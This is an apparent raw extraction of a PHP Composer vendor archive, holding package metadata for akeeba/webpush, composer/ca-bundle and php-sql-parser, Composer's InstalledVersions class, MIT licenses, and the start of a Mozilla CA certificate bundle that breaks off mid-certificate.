                "url": "https://api.github.com/repos/akeeba/webpush/zipball/325e4dd445d4048a9872539fc273b31eb1ca457f",
                "reference": "325e4dd445d4048a9872539fc273b31eb1ca457f",
                "shasum": ""
            },
            "require": {
                "ext-json": "*",
                "ext-openssl": "*",
                "php": "^7.4|^8.0"
            },
            "suggest": {
                "ext-gmp": "*"
            },
            "time": "2026-02-12T19:00:54+00:00",
            "default-branch": true,
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Akeeba\\WebPush\\": "src"
                }
            },
            "license": [
                "GPL-3.0-or-later"
            ],
            "authors": [
                {
                    "name": "Nicholas K. Dionysopoulos",
                    "email": "nicholas@akeeba.com"
                }
            ],
            "description": "WebPush for Joomla components",
            "homepage": "https://github.com/akeeba/webpush",
            "keywords": [
                "Joomla",
                "Push API",
                "WebPush",
                "notifications",
                "push",
                "web"
            ],
            "support": {
                "source": "https://github.com/akeeba/webpush/tree/main",
                "issues": "https://github.com/akeeba/webpush/issues"
            },
            "install-path": "../akeeba/webpush"
        },
        {
            "name": "composer/ca-bundle",
            "version": "dev-main",
            "version_normalized": "dev-main",
            "source": {
                "type": "git",
                "url": "https://github.com/composer/ca-bundle.git",
                "reference": "108ec30b5e82fbeb89b68800212cb94c849f6aad"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/composer/ca-bundle/zipball/108ec30b5e82fbeb89b68800212cb94c849f6aad",
                "reference": "108ec30b5e82fbeb89b68800212cb94c849f6aad",
                "shasum": ""
            },
            "require": {
                "ext-openssl": "*",
                "ext-pcre": "*",
                "php": "^7.2 || ^8.0"
            },
            "require-dev": {
                "phpstan/phpstan": "^1.10",
                "phpunit/phpunit": "^8 || ^9",
                "psr/log": "^1.0 || ^2.0 || ^3.0",
                "symfony/process": "^4.0 || ^5.0 || ^6.0 || ^7.0"
            },
            "time": "2026-05-29T09:13:02+00:00",
            "default-branch": true,
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-main": "1.x-dev"
                }
            },
            "installation-source": "dist",
            "autoload": {
                "psr-4": {
                    "Composer\\CaBundle\\": "src"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Jordi Boggiano",
                    "email": "j.boggiano@seld.be",
                    "homepage": "http://seld.be"
                }
            ],
            "description": "Lets you find a path to the system CA bundle, and includes a fallback to the Mozilla CA bundle.",
            "keywords": [
                "cabundle",
                "cacert",
                "certificate",
                "ssl",
                "tls"
            ],
            "support": {
                "irc": "irc://irc.freenode.org/composer",
                "issues": "https://github.com/composer/ca-bundle/issues",
                "source": "https://github.com/composer/ca-bundle/tree/main"
            },
            "funding": [
                {
                    "url": "https://packagist.com",
                    "type": "custom"
                },
                {
                    "url": "https://github.com/composer",
                    "type": "github"
                }
            ],
            "install-path": "./ca-bundle"
        },
        {
            "name": "greenlion/php-sql-parser",
            "version": "v4.7.0",
            "version_normalized": "4.7.0.0",
            "source": {
                "type": "git",
                "url": "https://github.com/greenlion/PHP-SQL-Parser.git",
                "reference": "0cd49149efc5868db9c32d1a09558ea516892586"
            },
            "dist": {
                "type": "zip",
                "url": "https://api.github.com/repos/greenlion/PHP-SQL-Parser/zipball/0cd49149efc5868db9c32d1a09558ea516892586",
                "reference": "0cd49149efc5868db9c32d1a09558ea516892586",
                "shasum": ""
            },
            "require": {
                "php": ">=5.3.2"
            },
            "require-dev": {
                "analog/analog": "^1.0.6",
                "phpunit/phpunit": "^9.5.13",
                "squizlabs/php_codesniffer": "^2.8.1"
            },
            "time": "2024-12-02T12:14:07+00:00",
            "type": "library",
            "installation-source": "dist",
            "autoload": {
                "psr-0": {
                    "PHPSQLParser\\": "src/"
                }
            },
            "notification-url": "https://packagist.org/downloads/",
            "license": [
                "BSD-3-Clause"
            ],
            "authors": [
                {
                    "name": "Justin Swanhart",
                    "email": "greenlion@gmail.com",
                    "homepage": "http://code.google.com/u/greenlion@gmail.com/",
                    "role": "Owner"
                },
                {
                    "name": "André Rothe",
                    "email": "phosco@gmx.de",
                    "homepage": "https://www.phosco.info",
                    "role": "Committer"
                }
            ],
            "description": "A pure PHP SQL (non validating) parser w/ focus on MySQL dialect of SQL",
            "homepage": "https://github.com/greenlion/PHP-SQL-Parser",
            "keywords": [
                "creator",
                "mysql",
                "parser",
                "sql"
            ],
            "support": {
                "issues": "https://github.com/greenlion/PHP-SQL-Parser/issues",
                "source": "https://github.com/greenlion/PHP-SQL-Parser"
            },
            "install-path": "../greenlion/php-sql-parser"
        }
    ],
    "dev": false,
    "dev-package-names": []
}
PK     \ .  .    vendor/composer/LICENSEnu [        
Copyright (c) Nils Adermann, Jordi Boggiano

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

PK     \<nwC  C  %  vendor/composer/InstalledVersions.phpnu [        <?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer;

use Composer\Autoload\ClassLoader;
use Composer\Semver\VersionParser;

/**
 * This class is copied in every Composer installed project and available to all
 *
 * See also https://getcomposer.org/doc/07-runtime.md#installed-versions
 *
 * To require its presence, you can require `composer-runtime-api ^2.0`
 *
 * @final
 */
class InstalledVersions
{
    /**
     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
     * @internal
     */
    private static $selfDir = null;

    /**
     * @var mixed[]|null
     * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
     */
    private static $installed;

    /**
     * @var bool
     */
    private static $installedIsLocalDir;

    /**
     * @var bool|null
     */
    private static $canGetVendors;

    /**
     * @var array[]
     * @psalm-var array<string, array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
     */
    private static $installedByVendor = array();

    /**
     * Returns a list of all package names which are present, either by being installed, replaced or provided
     *
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackages()
    {
        $packages = array();
        foreach (self::getInstalled() as $installed) {
            $packages[] = array_keys($installed['versions']);
        }

        if (1 === \count($packages)) {
            return $packages[0];
        }

        return array_keys(array_flip(\call_user_func_array('array_merge', $packages)));
    }

    /**
     * Returns a list of all package names with a specific type e.g. 'library'
     *
     * @param  string   $type
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackagesByType($type)
    {
        $packagesByType = array();

        foreach (self::getInstalled() as $installed) {
            foreach ($installed['versions'] as $name => $package) {
                if (isset($package['type']) && $package['type'] === $type) {
                    $packagesByType[] = $name;
                }
            }
        }

        return $packagesByType;
    }

    /**
     * Checks whether the given package is installed
     *
     * This also returns true if the package name is provided or replaced by another package
     *
     * @param  string $packageName
     * @param  bool   $includeDevRequirements
     * @return bool
     */
    public static function isInstalled($packageName, $includeDevRequirements = true)
    {
        foreach (self::getInstalled() as $installed) {
            if (isset($installed['versions'][$packageName])) {
                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
            }
        }

        return false;
    }

    /**
     * Checks whether the given package satisfies a version constraint
     *
     * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call:
     *
     *   Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3')
     *
     * @param  VersionParser $parser      Install composer/semver to have access to this class and functionality
     * @param  string        $packageName
     * @param  string|null   $constraint  A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package
     * @return bool
     */
    public static function satisfies(VersionParser $parser, $packageName, $constraint)
    {
        $constraint = $parser->parseConstraints((string) $constraint);
        $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

        return $provided->matches($constraint);
    }

    /**
     * Returns a version constraint representing all the range(s) which are installed for a given package
     *
     * It is easier to use this via isInstalled() with the $constraint argument if you need to check
     * whether a given version of a package is installed, and not just whether it exists
     *
     * @param  string $packageName
     * @return string Version constraint usable with composer/semver
     */
    public static function getVersionRanges($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            $ranges = array();
            if (isset($installed['versions'][$packageName]['pretty_version'])) {
                $ranges[] = $installed['versions'][$packageName]['pretty_version'];
            }
            if (array_key_exists('aliases', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
            }
            if (array_key_exists('replaced', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
            }
            if (array_key_exists('provided', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
            }

            return implode(' || ', $ranges);
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getPrettyVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['pretty_version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['pretty_version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference
     */
    public static function getReference($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['reference'])) {
                return null;
            }

            return $installed['versions'][$packageName]['reference'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path.
     */
    public static function getInstallPath($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null;
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @return array
     * @psalm-return array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}
     */
    public static function getRootPackage()
    {
        $installed = self::getInstalled();

        return $installed[0]['root'];
    }

    /**
     * Returns the raw installed.php data for custom implementations
     *
     * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
     * @return array[]
     * @psalm-return array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}
     */
    public static function getRawData()
    {
        @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED);

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                self::$installed = include __DIR__ . '/installed.php';
            } else {
                self::$installed = array();
            }
        }

        return self::$installed;
    }

    /**
     * Returns the raw data of all installed.php which are currently loaded for custom implementations
     *
     * @return array[]
     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
     */
    public static function getAllRawData()
    {
        return self::getInstalled();
    }

    /**
     * Lets you reload the static array from another file
     *
     * This is only useful for complex integrations in which a project needs to use
     * this class but then also needs to execute another project's autoloader in process,
     * and wants to ensure both projects have access to their version of installed.php.
     *
     * A typical case would be PHPUnit, where it would need to make sure it reads all
     * the data it needs from this class, then call reload() with
     * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure
     * the project in which it runs can then also use this class safely, without
     * interference between PHPUnit's dependencies and the project's dependencies.
     *
     * @param  array[] $data A vendor/composer/installed.php data set
     * @return void
     *
     * @psalm-param array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $data
     */
    public static function reload($data)
    {
        self::$installed = $data;
        self::$installedByVendor = array();

        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
        // so we have to assume it does not, and that may result in duplicate data being returned when listing
        // all installed packages for example
        self::$installedIsLocalDir = false;
    }

    /**
     * @return string
     */
    private static function getSelfDir()
    {
        if (self::$selfDir === null) {
            self::$selfDir = strtr(__DIR__, '\\', '/');
        }

        return self::$selfDir;
    }

    /**
     * @return array[]
     * @psalm-return list<array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}>
     */
    private static function getInstalled()
    {
        if (null === self::$canGetVendors) {
            self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders');
        }

        $installed = array();
        $copiedLocalDir = false;

        if (self::$canGetVendors) {
            $selfDir = self::getSelfDir();
            foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
                $vendorDir = strtr($vendorDir, '\\', '/');
                if (isset(self::$installedByVendor[$vendorDir])) {
                    $installed[] = self::$installedByVendor[$vendorDir];
                } elseif (is_file($vendorDir.'/composer/installed.php')) {
                    /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                    $required = require $vendorDir.'/composer/installed.php';
                    self::$installedByVendor[$vendorDir] = $required;
                    $installed[] = $required;
                    if (self::$installed === null && $vendorDir.'/composer' === $selfDir) {
                        self::$installed = $required;
                        self::$installedIsLocalDir = true;
                    }
                }
                if (self::$installedIsLocalDir && $vendorDir.'/composer' === $selfDir) {
                    $copiedLocalDir = true;
                }
            }
        }

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                $required = require __DIR__ . '/installed.php';
                self::$installed = $required;
            } else {
                self::$installed = array();
            }
        }

        if (self::$installed !== array() && !$copiedLocalDir) {
            $installed[] = self::$installed;
        }

        return $installed;
    }
}
PK     \zՇ'  '  '  vendor/composer/ca-bundle/composer.jsonnu [        {
    "name": "composer/ca-bundle",
    "description": "Lets you find a path to the system CA bundle, and includes a fallback to the Mozilla CA bundle.",
    "type": "library",
    "license": "MIT",
    "keywords": [
        "cabundle",
        "cacert",
        "certificate",
        "ssl",
        "tls"
    ],
    "authors": [
        {
            "name": "Jordi Boggiano",
            "email": "j.boggiano@seld.be",
            "homepage": "http://seld.be"
        }
    ],
    "support": {
        "irc": "irc://irc.freenode.org/composer",
        "issues": "https://github.com/composer/ca-bundle/issues"
    },
    "require": {
        "ext-openssl": "*",
        "ext-pcre": "*",
        "php": "^7.2 || ^8.0"
    },
    "require-dev": {
        "phpunit/phpunit": "^8 || ^9",
        "phpstan/phpstan": "^1.10",
        "psr/log": "^1.0 || ^2.0 || ^3.0",
        "symfony/process": "^4.0 || ^5.0 || ^6.0 || ^7.0"
    },
    "autoload": {
        "psr-4": {
            "Composer\\CaBundle\\": "src"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "Composer\\CaBundle\\": "tests"
        }
    },
    "extra": {
        "branch-alias": {
            "dev-main": "1.x-dev"
        }
    },
    "scripts": {
        "test": "@php phpunit",
        "phpstan": "@php phpstan analyse"
    }
}
PK     \*!^`    !  vendor/composer/ca-bundle/LICENSEnu [        Copyright (C) 2016 Composer

Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
PK     \]  (  vendor/composer/ca-bundle/res/cacert.pemnu [        ##
## Bundle of CA Root Certificates
##
## Certificate data from Mozilla as of: Thu May 14 03:12:02 2026 GMT
##
## Find updated versions here: https://curl.se/docs/caextract.html
##
## This is a bundle of X.509 certificates of public Certificate Authorities
## (CA). These were automatically extracted from Mozilla's root certificates
## file (certdata.txt).  This file can be found in the mozilla source tree:
## https://raw.githubusercontent.com/mozilla-firefox/firefox/refs/heads/release/security/nss/lib/ckfw/builtins/certdata.txt
##
## It contains the certificates in PEM format and therefore
## can be directly used with curl / libcurl / php_curl, or with
## an Apache+mod_ssl webserver for SSL client authentication.
## Just configure this file as the SSLCACertificateFile.
##
## Conversion done with mk-ca-bundle.pl version 1.33.
## SHA256: 77130ef91213772844561fbd3aa31d413b25c2ac7f576fea3bc3bbff7ef93489
##


Entrust Root Certification Authority
====================================
-----BEGIN CERTIFICATE-----
MIIEkTCCA3mgAwIBAgIERWtQVDANBgkqhkiG9w0BAQUFADCBsDELMAkGA1UEBhMCVVMxFjAUBgNV
BAoTDUVudHJ1c3QsIEluYy4xOTA3BgNVBAsTMHd3dy5lbnRydXN0Lm5ldC9DUFMgaXMgaW5jb3Jw
b3JhdGVkIGJ5IHJlZmVyZW5jZTEfMB0GA1UECxMWKGMpIDIwMDYgRW50cnVzdCwgSW5jLjEtMCsG
A1UEAxMkRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEyNzIwMjM0
MloXDTI2MTEyNzIwNTM0MlowgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMu
MTkwNwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSByZWZlcmVu
Y2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNVBAMTJEVudHJ1c3QgUm9v
dCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALaVtkNC+sZtKm9I35RMOVcF7sN5EUFoNu3s/poBj6E4KPz3EEZmLk0eGrEaTsbRwJWIsMn/MYsz
A9u3g3s+IIRe7bJWKKf44LlAcTfFy0cOlypowCKVYhXbR9n10Cv/gkvJrT7eTNuQgFA/CYqEAOww
Cj0Yzfv9KlmaI5UXLEWeH25DeW0MXJj+SKfFI0dcXv1u5x609mhF0YaDW6KKjbHjKYD+JXGIrb68
j6xSlkuqUY3kEzEZ6E5Nn9uss2rVvDlUccp6en+Q3X0dgNmBu1kmwhH+5pPi94DkZfs0Nw4pgHBN
rziGLp5/V6+eF67rHMsoIV+2HNjnogQi+dPa2MsCAwEAAaOBsDCBrTAOBgNVHQ8BAf8EBAMCAQYw
DwYDVR0TAQH/BAUwAwEB/zArBgNVHRAEJDAigA8yMDA2MTEyNzIwMjM0MlqBDzIwMjYxMTI3MjA1
MzQyWjAfBgNVHSMEGDAWgBRokORnpKZTgMeGZqTx90tD+4S9bTAdBgNVHQ4EFgQUaJDkZ6SmU4DH
hmak8fdLQ/uEvW0wHQYJKoZIhvZ9B0EABBAwDhsIVjcuMTo0LjADAgSQMA0GCSqGSIb3DQEBBQUA
A4IBAQCT1DCw1wMgKtD5Y+iRDAUgqV8ZyntyTtSx29CW+1RaGSwMCPeyvIWonX9tO1KzKtvn1ISM
Y/YPyyYBkVBs9F8U4pN0wBOeMDpQ47RgxRzwIkSNcUesyBrJ6ZuaAGAT/3B+XxFNSRuzFVJ7yVTa
v52Vr2ua2J7p8eRDjeIRRDq/r72DQnNSi6q7pynP9WQcCk3RvKqsnyrQ/39/2n3qse0wJcGE2jTS
W3iDVuycNsMm4hH2Z0kdkquM++v/eu6FSqdQgPCnXEqULl8FmTxSQeDNtGPPAUO6nIPcj2A781q0
tHuu2guQOHXvgR1m0vdXcDazv/wor3ElhVsT/h5/WrQ8
-----END CERTIFICATE-----

COMODO ECC Certification Authority
==================================
-----BEGIN CERTIFICATE-----
MIICiTCCAg+gAwIBAgIQH0evqmIAcFBUTAGem2OZKjAKBggqhkjOPQQDAzCBhTELMAkGA1UEBhMC
R0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UE
ChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBB
dXRob3JpdHkwHhcNMDgwMzA2MDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBhTELMAkGA1UEBhMCR0Ix
GzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMR
Q09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBFQ0MgQ2VydGlmaWNhdGlvbiBBdXRo
b3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQDR3svdcmCFYX7deSRFtSrYpn1PlILBs5BAH+X
4QokPB0BBO490o0JlwzgdeT6+3eKKvUDYEs2ixYjFq0JcfRK9ChQtP6IHG4/bC8vCVlbpVsLM5ni
wz2J+Wos77LTBumjQjBAMB0GA1UdDgQWBBR1cacZSBm8nZ3qQUfflMRId5nTeTAOBgNVHQ8BAf8E
BAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjEA7wNbeqy3eApyt4jf/7VG
FAkK+qDmfQjGGoe9GKhzvSbKYAydzpmfz1wPMOG+FDHqAjAU9JM8SaczepBGR7NjfRObTrdvGDeA
U/7dIOA1mjbRxwG55tzd8/8dLDoWV9mSOdY=
-----END CERTIFICATE-----

ePKI Root Certification Authority
=================================
-----BEGIN CERTIFICATE-----
MIIFsDCCA5igAwIBAgIQFci9ZUdcr7iXAF7kBtK8nTANBgkqhkiG9w0BAQUFADBeMQswCQYDVQQG
EwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0ZC4xKjAoBgNVBAsMIWVQS0kg
Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNDEyMjAwMjMxMjdaFw0zNDEyMjAwMjMx
MjdaMF4xCzAJBgNVBAYTAlRXMSMwIQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEq
MCgGA1UECwwhZVBLSSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0B
AQEFAAOCAg8AMIICCgKCAgEA4SUP7o3biDN1Z82tH306Tm2d0y8U82N0ywEhajfqhFAHSyZbCUNs
IZ5qyNUD9WBpj8zwIuQf5/dqIjG3LBXy4P4AakP/h2XGtRrBp0xtInAhijHyl3SJCRImHJ7K2RKi
lTza6We/CKBk49ZCt0Xvl/T29de1ShUCWH2YWEtgvM3XDZoTM1PRYfl61dd4s5oz9wCGzh1NlDiv
qOx4UXCKXBCDUSH3ET00hl7lSM2XgYI1TBnsZfZrxQWh7kcT1rMhJ5QQCtkkO7q+RBNGMD+XPNjX
12ruOzjjK9SXDrkb5wdJfzcq+Xd4z1TtW0ado4AOkUPB1ltfFLqfpo0kR0BZv3I4sjZsN/+Z0V0O
WQqraffAsgRFelQArr5T9rXn4fg8ozHSqf4hUmTFpmfwdQcGlBSBVcYn5AGPF8Fqcde+S/uUWH1+
ETOxQvdibBjWzwloPn9s9h6PYq2lY9sJpx8iQkEeb5mKPtf5P0B6ebClAZLSnT0IFaUQAS2zMnao
lQ2zepr7BxB4EW/hj8e6DyUadCrlHJhBmd8hh+iVBmoKs2pHdmX2Os+PYhcZewoozRrSgx4hxyy/
vv9haLdnG7t4TY3OZ+XkwY63I2binZB1NJipNiuKmpS5nezMirH4JYlcWrYvjB9teSSnUmjDhDXi
Zo1jDiVN1Rmy5nk3pyKdVDECAwEAAaNqMGgwHQYDVR0OBBYEFB4M97Zn8uGSJglFwFU5Lnc/Qkqi
MAwGA1UdEwQFMAMBAf8wOQYEZyoHAAQxMC8wLQIBADAJBgUrDgMCGgUAMAcGBWcqAwAABBRFsMLH
ClZ87lt4DJX5GFPBphzYEDANBgkqhkiG9w0BAQUFAAOCAgEACbODU1kBPpVJufGBuvl2ICO1J2B0
1GqZNF5sAFPZn/KmsSQHRGoqxqWOeBLoR9lYGxMqXnmbnwoqZ6YlPwZpVnPDimZI+ymBV3QGypzq
KOg4ZyYr8dW1P2WT+DZdjo2NQCCHGervJ8A9tDkPJXtoUHRVnAxZfVo9QZQlUgjgRywVMRnVvwdV
xrsStZf0X4OFunHB2WyBEXYKCrC/gpf36j36+uwtqSiUO1bd0lEursC9CBWMd1I0ltabrNMdjmEP
NXubrjlpC2JgQCA2j6/7Nu4tCEoduL+bXPjqpRugc6bY+G7gMwRfaKonh+3ZwZCc7b3jajWvY9+r
GNm65ulK6lCKD2GTHuItGeIwlDWSXQ62B68ZgI9HkFFLLk3dheLSClIKF5r8GrBQAuUBo2M3IUxE
xJtRmREOc5wGj1QupyheRDmHVi03vYVElOEMSyycw5KFNGHLD7ibSkNS/jQ6fbjpKdx2qcgw+BRx
gMYeNkh0IkFch4LoGHGLQYlE535YW6i4jRPpp2zDR+2zGp1iro2C6pSe3VkQw63d4k3jMdXH7Ojy
sP6SHhYKGvzZ8/gntsm+HbRsZJB/9OTEW9c3rkIO3aQab3yIVMUWbuF6aC74Or8NpDyJO3inTmOD
BCEIZ43ygknQW/2xzQ+DhNQ+IIX3Sj0rnP0qCglN6oH4EZw=
-----END CERTIFICATE-----

NetLock Arany (Class Gold) Főtanúsítvány
========================================
-----BEGIN CERTIFICATE-----
MIIEFTCCAv2gAwIBAgIGSUEs5AAQMA0GCSqGSIb3DQEBCwUAMIGnMQswCQYDVQQGEwJIVTERMA8G
A1UEBwwIQnVkYXBlc3QxFTATBgNVBAoMDE5ldExvY2sgS2Z0LjE3MDUGA1UECwwuVGFuw7pzw610
dsOhbnlraWFkw7NrIChDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzKTE1MDMGA1UEAwwsTmV0TG9jayBB
cmFueSAoQ2xhc3MgR29sZCkgRsWRdGFuw7pzw610dsOhbnkwHhcNMDgxMjExMTUwODIxWhcNMjgx
